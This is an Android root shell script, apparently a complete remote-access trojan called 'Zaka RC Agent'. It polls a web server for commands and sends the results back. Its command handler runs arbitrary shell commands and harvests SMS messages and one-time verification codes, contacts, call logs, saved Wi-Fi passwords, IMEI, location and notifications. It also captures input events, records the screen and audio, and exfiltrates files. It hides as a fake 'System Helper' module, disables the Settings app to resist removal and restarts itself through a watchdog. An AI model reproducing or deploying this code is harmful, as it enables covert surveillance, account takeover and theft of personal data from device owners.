#!/system/bin/sh
# ================================================================
#  Zaka RC Agent   （Android 5+ / 需 root）
#  纯 sh 实现，无需安装任何 APK，可开机自启，无界面无通知
# ================================================================
BASE="${ZRC_HOME:-/data/local/tmp/.zrc}"
CFG="$BASE/config"
DONE="$BASE/done"
mkdir -p "$BASE" 2>/dev/null

for d in /system/bin /system/xbin /sbin /su/bin /data/adb/magisk /data/adb/ksu/bin /debug_ramdisk /vendor/bin; do
  [ -d "$d" ] && PATH="$PATH:$d"
done
export PATH

CURL="$(command -v curl 2>/dev/null)"
WGET="$(command -v wget 2>/dev/null)"
[ -z "$WGET" ] && command -v busybox >/dev/null 2>&1 && WGET="busybox wget"
B64="$(command -v base64 2>/dev/null)"

[ -f "$CFG" ] && . "$CFG"
PB="${PB:-https://example.com}"
DID="${DID:-}"
if [ -z "$DID" ]; then
  DID="$(cat /proc/sys/kernel/random/uuid 2>/dev/null | tr -d '-' | cut -c1-10)"
  [ -z "$DID" ] && DID="d$(date +%s | cut -c5-12)"
  echo "DID=$DID" >> "$CFG"
fi

b64e() { $B64 "$1" 2>/dev/null | tr -d '\n'; }
b64s() { $B64 2>/dev/null | tr -d '\n'; }

http_get() {
  if [ -n "$CURL" ]; then $CURL -s -m 25 "$1" 2>/dev/null
  elif [ -n "$WGET" ]; then $WGET -q -O - "$1" 2>/dev/null
  fi
}
http_post() {
  if [ -n "$CURL" ]; then
    $CURL -s -m 60 -X POST -H "Content-Type: $3" --data-binary @"$2" "$1" 2>/dev/null
  elif [ -n "$WGET" ]; then
    $WGET -q -O - --header="Content-Type: $3" --post-file="$2" "$1" 2>/dev/null
  fi
}
json_field() {
  printf '%s' "$1" | grep -o "\"$2\":\"[^\"]*\"" | head -1 | sed "s/^\"$2\":\"//; s/\"$//"
}
split_records() {
  sed 's/},{"collectionId"/}\
{"collectionId"/g'
}
post_result() {
  printf '{"did":"%s","tid":"%s","out":"%s","ts":%s}' "$DID" "$1" "$2" "$(date +%s)000" > "$BASE/.r"
  http_post "$PB/api/collections/rc_results/records" "$BASE/.r" "application/json" >/dev/null 2>&1
}
img_result() { printf '__IMG__%s' "$(b64e "$1")"; }

# 分辨率
SIZE="$(wm size 2>/dev/null | grep -oE '[0-9]+x[0-9]+' | tail -1)"
SW="${SIZE%x*}"; SH="${SIZE#*x}"
[ -z "$SW" ] && SW=1080
[ -z "$SH" ] && SH=1920

device_info() {
  echo "model=$(getprop ro.product.model)"
  echo "brand=$(getprop ro.product.brand)"
  echo "android=$(getprop ro.build.version.release)"
  echo "sdk=$(getprop ro.build.version.sdk)"
  echo "serial=$(getprop ro.serialno)"
  echo "cpu=$(getprop ro.product.cpu.abi)"
  echo "battery=$(dumpsys battery 2>/dev/null | grep -m1 'level:' | tr -d ' ' | cut -d: -f2)"
  echo "screen=${SW}x${SH}"
  echo "ip=$(ip -4 addr show 2>/dev/null | grep -oE 'inet [0-9.]+' | grep -v '127.0.0.1' | head -1 | cut -d' ' -f2)"
  echo "storage=$(df /data 2>/dev/null | tail -1 | awk '{print $4}')"
  echo "uptime=$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1)"
  echo "root=$(id -u)"
  echo "fg=$(dumpsys window 2>/dev/null | grep -m1 'mCurrentFocus' | sed 's/.*u0 //;s/}.*//')"
  echo "ts=$(date +%s)"
}

dispatch() {
  C="$1"; A="$2"
  case "$C" in
  ping) echo "pong $(date)";;
  shell|sh) sh -c "$A" 2>&1 | head -400;;
  info) device_info;;
  battery) dumpsys battery 2>/dev/null | head -20;;
  storage) df -h 2>/dev/null;;
  whoami) id;;
  reboot) (reboot &) ; echo rebooting;;
  poweroff) (reboot -p &) ; echo poweroff;;
  recovery) (reboot recovery &) ; echo ok;;
  bootloader) (reboot bootloader &) ; echo ok;;

  tap) set -- $A; input tap "$1" "$2" 2>&1; echo "tap $1 $2";;
  swipe) set -- $A; input swipe "$1" "$2" "$3" "$4" "${5:-300}" 2>&1; echo "swipe";;
  longpress) set -- $A; input swipe "$1" "$2" "$1" "$2" 900 2>&1; echo longpress;;
  text) input text "$(printf '%s' "$A" | sed 's/ /%s/g')" 2>&1; echo typed;;
  key) input keyevent "$A" 2>&1; echo "key $A";;
  back) input keyevent 4; echo back;;
  home) input keyevent 3; echo home;;
  recents) input keyevent 187; echo recents;;
  menu) input keyevent 82; echo menu;;
  enter) input keyevent 66; echo enter;;
  del) input keyevent 67; echo del;;
  search) input keyevent 84; echo search;;
  power) input keyevent 26; echo power;;
  wake) input keyevent 224; input keyevent 82; echo wake;;
  lock) input keyevent 26; echo locked;;
  unlock)
    input keyevent 224 2>/dev/null
    input keyevent 82 2>/dev/null
    input swipe "$((SW/2))" "$((SH*9/10))" "$((SW/2))" "$((SH/4))" 250 2>/dev/null
    echo unlocked;;
  pin) input text "$A"; input keyevent 66; echo ok;;
  scroll) input swipe "$((SW/2))" "$((SH*4/5))" "$((SW/2))" "$((SH/3))" "${A:-300}"; echo scroll;;

  screen)
    case "$A" in
      on) input keyevent 224; echo on;;
      off) input keyevent 26; echo off;;
      *) echo "screen $A";;
    esac;;
  brightness) settings put system screen_brightness "$A"; settings put system screen_brightness_mode 0 2>/dev/null; echo "brightness=$A";;
  brightness_auto) settings put system screen_brightness_mode "$A"; echo ok;;
  rotation) settings put system accelerometer_rotation 0; settings put system user_rotation "$A"; echo "rotation=$A";;
  auto_rotate) settings put system accelerometer_rotation "$A"; echo ok;;
  timeout) settings put system screen_off_timeout "$A"; echo ok;;
  stayawake) svc power stayon "$A"; echo ok;;
  density) wm density "$A"; echo ok;;
  resolution) wm size "$A"; echo ok;;

  vol)
    case "$A" in
      up) input keyevent 24;;
      down) input keyevent 25;;
      mute) input keyevent 164;;
      *) cmd media_session volume --stream 3 --set "$A" 2>/dev/null;;
    esac; echo "vol $A";;
  music)
    if [ -z "$A" ]; then
      am start -a android.intent.action.MUSIC_PLAYER 2>/dev/null
    elif echo "$A" | grep -q '^http'; then
      am start -a android.intent.action.VIEW -d "$A" -t "audio/*" 2>/dev/null
    else
      am start -a android.intent.action.VIEW -d "file://$A" -t "audio/*" 2>/dev/null
    fi; echo "music $A";;
  music_stop) input keyevent 127; am force-stop com.android.music 2>/dev/null; echo stopped;;
  playpause) input keyevent 85; echo ok;;
  next) input keyevent 87; echo ok;;
  prev) input keyevent 88; echo ok;;

  wifi)
    case "$A" in
      on) svc wifi enable;; off) svc wifi disable;; *) svc wifi "$A";;
    esac; echo "wifi $A";;
  data)
    case "$A" in
      on) svc data enable;; off) svc data disable;; *) svc data "$A";;
    esac; echo "data $A";;
  airplane)
    case "$A" in
      on) settings put global airplane_mode_on 1; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state true 2>/dev/null;;
      off) settings put global airplane_mode_on 0; am broadcast -a android.intent.action.AIRPLANE_MODE --ez state false 2>/dev/null;;
    esac; echo "airplane $A";;
  bt)
    case "$A" in
      on) svc bluetooth enable;; off) svc bluetooth disable;; *) svc bluetooth "$A";;
    esac; echo "bt $A";;
  gps)
    case "$A" in
      on) settings put secure location_mode 3;; off) settings put secure location_mode 0;;
    esac; echo "gps $A";;
  ip) ip -4 addr 2>/dev/null;;
  netstat) netstat -an 2>/dev/null | head -40;;
  wifi_list) cmd wifi list-scan-results 2>/dev/null | head -30;;
  wifi_pass) grep -E "SSID|PreSharedKey" /data/misc/wifi/WifiConfigStore.xml 2>/dev/null | head -40;;
  dns) getprop | grep -i dns | head;;

  apps) pm list packages -3 2>/dev/null | sed 's/package://';;
  allapps) pm list packages 2>/dev/null | sed 's/package://';;
  running) ps -A 2>/dev/null | head -40;;
  foreground) dumpsys window 2>/dev/null | grep -m1 'mCurrentFocus';;
  app_start) monkey -p "$A" -c android.intent.category.LAUNCHER 1 2>/dev/null | tail -2; echo "start $A";;
  app_stop) am force-stop "$A"; echo "stopped $A";;
  app_clear) pm clear "$A";;
  app_disable) pm disable-user --user 0 "$A"; echo disabled;;
  app_enable) pm enable "$A"; echo enabled;;
  app_info) dumpsys package "$A" 2>/dev/null | head -40;;
  install) pm install -r "$A" 2>&1 | tail -3;;
  uninstall) pm uninstall "$A" 2>&1;;
  grant) set -- $A; pm grant "$1" "$2" 2>&1; echo ok;;

  sms) content query --uri content://sms/inbox --user 0 2>/dev/null | tail -n "${A:-30}";;
  sms_all) content query --uri content://sms --user 0 2>/dev/null | tail -n "${A:-60}";;
  otp) content query --uri content://sms/inbox --user 0 2>/dev/null | grep -oE '(验证码|校验码|动态码|code|Code|CODE)[^0-9]{0,12}[0-9]{4,8}' | tail -n 8;;
  contacts) content query --uri content://contacts/phones --user 0 2>/dev/null | head -n "${A:-60}";;
  calllog) content query --uri content://call_log/calls --user 0 2>/dev/null | tail -n "${A:-40}";;
  calendar) content query --uri content://com.android.calendar/events --user 0 2>/dev/null | head -30;;
  accounts) dumpsys account 2>/dev/null | grep -E "Account \{|type=" | head -20;;
  notifications) dumpsys notification --noredact 2>/dev/null | grep -E "pkg=|android.title|android.text" | head -40;;
  clipboard) service call clipboard 2 2>/dev/null | head -5;;
  location) dumpsys location 2>/dev/null | grep -iE "last location|gps|network provider" | head -10;;
  phone)
    { dumpsys telephony.registry 2>/dev/null | grep -iE "mLine1Number|mSubscriberId|mSimSerial" | head -5
      getprop 2>/dev/null | grep -iE "phone.number|sim.serial" | head -5
      content query --uri content://telephony/siminfo --user 0 2>/dev/null | head -5; };;
  imei) service call iphonesubinfo 1 2>/dev/null | grep -oE "[0-9a-f]{8}" | head -20;;
  media_files) find /sdcard -type f \( -name "*.jpg" -o -name "*.mp4" -o -name "*.png" \) 2>/dev/null | head -n "${A:-40}";;
  photos) find /sdcard/DCIM -type f 2>/dev/null | tail -n 20;;
  keylog) timeout 5 getevent -lt 2>/dev/null | head -60;;
  shells) cat /system/bin/sh >/dev/null 2>&1; ls /data/local/tmp 2>/dev/null;;

  ls) ls -la "$A" 2>&1 | head -60;;
  cat) cat "$A" 2>&1 | head -300;;
  pull)
    if [ -f "$A" ]; then
      sz=$(stat -c %s "$A" 2>/dev/null || echo 0)
      if [ "$sz" -gt 3000000 ]; then echo "文件太大($sz)"; else img_result "$A"; fi
    else echo "不存在: $A"; fi;;
  push)
    set -- $A
    printf '%s' "$2" | $B64 -d > "$1" 2>/dev/null && echo "written $1" || echo fail;;
  rm) rm -rf "$A" 2>&1; echo "rm $A";;
  mkdir) mkdir -p "$A"; echo ok;;
  find) set -- $A; find "$1" -name "$2" 2>/dev/null | head -40;;
  df) df -h 2>&1;;

  settings_get) settings get "$A" 2>&1;;
  settings_put) set -- $A; settings put "$1" "$2" "$3" 2>&1; echo ok;;
  global_put) set -- $A; settings put global "$1" "$2" 2>&1; echo ok;;
  secure_put) set -- $A; settings put secure "$1" "$2" 2>&1; echo ok;;
  dumpsys) dumpsys "$A" 2>/dev/null | head -150;;
  prop) getprop "$A" 2>&1;;

  grab)
    f="$BASE/.s.png"
    (screencap -p "$f" 2>/dev/null || screencap -p > "$f" 2>/dev/null)
    if [ -s "$f" ]; then img_result "$f"; else echo "截屏失败"; fi;;
  record_audio)
    SEC="${A:-8}"; f="$BASE/.a.wav"; rm -f "$f"
    tinycap "$f" -d 0 -c 1 -r 44100 -b 16 -T "$SEC" 2>/dev/null
    if [ -s "$f" ]; then img_result "$f"; else echo "录音失败(缺 tinycap)"; fi;;
  record_screen)
    SEC="${A:-8}"; f="$BASE/.v.mp4"; rm -f "$f"
    screenrecord --time-limit "$SEC" --bit-rate 1500000 "$f" 2>/dev/null
    if [ -s "$f" ]; then img_result "$f"; else echo "录屏失败"; fi;;
  camera) am start -a android.media.action.STILL_IMAGE_CAMERA 2>/dev/null; sleep 1; input keyevent 27 2>/dev/null; echo "camera";;

  open) am start -a android.intent.action.VIEW -d "$A" 2>/dev/null; echo "open $A";;
  notify) set -- $A; cmd notification post -S bigtext -t "${1:-通知}" zrc "$2" 2>/dev/null; echo notified;;

  persist)
    mkdir -p /data/adb/modules/zrc 2>/dev/null
    cp "$0" /data/adb/modules/zrc/agent.sh 2>/dev/null
    cp "$CFG" /data/adb/modules/zrc/config 2>/dev/null
    printf 'id=zrc\nname=System Helper\nversion=v1\nversionCode=1\nauthor=system\ndescription=system service\n' > /data/adb/modules/zrc/module.prop 2>/dev/null
    printf '#!/system/bin/sh\nsleep 25\nsh /data/adb/modules/zrc/agent.sh &\n' > /data/adb/modules/zrc/service.sh 2>/dev/null
    chmod 755 /data/adb/modules/zrc/service.sh /data/adb/modules/zrc/agent.sh 2>/dev/null
    mkdir -p /data/adb/service.d 2>/dev/null
    cp /data/adb/modules/zrc/service.sh /data/adb/service.d/zrc.sh 2>/dev/null
    chmod 755 /data/adb/service.d/zrc.sh 2>/dev/null
    echo "persist ok";;
  unpersist) rm -rf /data/adb/modules/zrc /data/adb/service.d/zrc.sh 2>/dev/null; echo removed;;
  hide) cp "$0" "$BASE/.kd" 2>/dev/null; chmod 700 "$BASE/.kd" 2>/dev/null; echo "hidden";;
  protect)
    chattr +i "$BASE/agent.sh" 2>/dev/null
    pm disable-user --user 0 com.android.settings 2>/dev/null >/dev/null
    echo "protect on";;
  unprotect) pm enable com.android.settings 2>/dev/null; chattr -i "$BASE/agent.sh" 2>/dev/null; echo restored;;
  watch) ( while :; do sleep 45; pgrep -f "agent.sh" >/dev/null 2>&1 || { nohup sh "$BASE/agent.sh" >/dev/null 2>&1 & }; done ) >/dev/null 2>&1 & echo watchdog;;
  killself) echo bye; exit 0;;

  date) date;;
  root) id;;
  selinux) getenforce;;
  modules) ls /data/adb/modules 2>/dev/null;;
  *) echo "未知命令: $C";;
  esac
}

heartbeat() { device_info > "$BASE/.i" 2>/dev/null; post_result hb "$(b64e "$BASE/.i")"; }

: > "$DONE"
heartbeat
N=0
while :; do
  RESP="$(http_get "$PB/api/collections/rc_tasks/records?perPage=40&sort=-created")"
  if [ -n "$RESP" ]; then
    printf '%s' "$RESP" | split_records | while IFS= read -r rec; do
      RDID="$(json_field "$rec" did)"
      [ "$RDID" = "$DID" ] || continue
      TID="$(json_field "$rec" tid)"
      [ -z "$TID" ] && continue
      grep -qx "$TID" "$DONE" 2>/dev/null && continue
      CMD="$(json_field "$rec" cmd)"
      ARG="$(json_field "$rec" arg)"
      ARGD="$(printf '%s' "$ARG" | $B64 -d 2>/dev/null)"
      OUT="$(dispatch "$CMD" "$ARGD" 2>&1 | head -600)"
      printf '%s' "$OUT" > "$BASE/.o"
      post_result "$TID" "$(b64e "$BASE/.o")"
      echo "$TID" >> "$DONE"
      tail -n 300 "$DONE" > "$BASE/.d" 2>/dev/null && mv "$BASE/.d" "$DONE" 2>/dev/null
    done
  fi
  N=$((N+1))
  [ $((N % 30)) -eq 0 ] && heartbeat
  sleep 1
done
